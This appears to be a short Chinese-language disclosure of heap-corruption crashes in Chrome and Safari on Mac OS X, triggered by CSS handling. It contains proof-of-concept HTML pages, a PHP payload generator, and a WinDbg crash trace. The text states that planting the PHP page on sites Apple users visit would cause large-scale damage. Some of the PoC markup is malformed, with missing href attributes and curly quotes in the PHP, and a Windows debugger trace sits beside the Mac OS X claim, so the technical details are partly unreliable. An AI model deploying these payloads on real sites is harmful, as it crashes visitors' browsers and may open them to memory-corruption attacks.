堆覆盖也可以称作堆破坏,即英文中的Heap Corruption。当一个程序输入的内容超出了本身预分配的空间,如果不做正确的处理,这些内容就会覆盖该空间以外的内存。

如果超出范围被覆盖的部分是可控的,就可能被多种方式的恶意利用,即使被覆盖部分不可控也仍然能造成不同程度的破坏,例如被覆盖部分存在系统重要数据的时候。

 

 

苹果Mac OS X操作系统的Chrome和Safari浏览器中存在多处对数据处理不当的情况,可导致堆覆盖的发生。


 出现堆覆盖的情况均出现在浏览器堆CSS样式的处理部分。

第一种情况是html中的<link>标签,当如下代码的css标签数量堆加到一定数量(约7万行)时,就达到上限导致堆覆盖发生。

<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="cache-control" content="max-age=0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
<meta http-equiv="pragma" content="no-cache" />
<link rel="stylesheet" href="xxxx_aa0.css" />
<link rel="stylesheet" href="xxxx_aa1.css" />
<link rel="stylesheet" href="xxxx_aa2.css" />
... 7.77W lines ...
<link rel="stylesheet" href="xxxx_zzzz99.css" />
<link rel="stylesheet" href="xxxx_zzzz100.css" />
</head>
<body>
</body>
</html>


第二种情况仍然是CSS样式处理相关的,存在于<a>标签的超级链接部分,格式如下:

<html>
<head>
<script src="http://code.jquery.com/jquery-latest.min.js" type="text/javascript"></script>
<script>
 $(document).ready(function() {
 $("#test")[0].click();
  });
</script>
</head>
<body>

<a http://aa/aa/./aaa/aa/./aaa/
 ... 200W Code Cycle ... 
aa/./aaa/aa/./aaa/aa/./a">test</a>
</body>
</html>


将如下代码镶嵌在苹果用户群体访问的站点时,将造成大规模的破坏行为。

<?php
ob_start(“ob_gzhandler”);
$ax = str_repeat(“aa/aa/./a”,2000000);
?>
<html>
<head>
</head>
<body>
<a http://<?php echo $ax;?>” id=”test”>test</a>
</body>
</html>

尚未测试具体影响的浏览器版本以及是否涉及其他浏览器。具体:

0:000:x86> .frame /r
00 0042e294 60b8cdfc CoreFoundation!CFStringEncodingSetForceASCIICompatibility+0×90
eax=00000000 ebx=06fb2d90 ecx=00000061 edx=00000000 esi=4bc90020 edi=0ab60c40
eip=60b982d7 esp=0042e284 ebp=0042e294 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
CoreFoundation!CFStringEncodingSetForceASCIICompatibility+0×90:
60b982d7 66890c42 mov word ptr [edx+eax*2],cx ds:002b:00000000=????

0:000:x86> ub .
CoreFoundation!CFStringEncodingSetForceASCIICompatibility+0×73:
60b982ba c3 ret
60b982bb 33c0 xor eax,eax
60b982bd 3944240c cmp dword ptr [esp+0Ch],eax
60b982c1 7e1f jle CoreFoundation!CFStringEncodingSetForceASCIICompatibility+0x9b (60b982e2)
60b982c3 8b4c2404 mov ecx,dword ptr [esp+4]
60b982c7 0fb60c08 movzx ecx,byte ptr [eax+ecx]
60b982cb 668b0c4dc898c260 mov cx,word ptr CoreFoundation!_CFDefaultEightBitStringEncoding+0x1a8 (60c298c8)[ecx*2]
60b982d3 8b542408 mov edx,dword ptr [esp+8]


//silic.wiki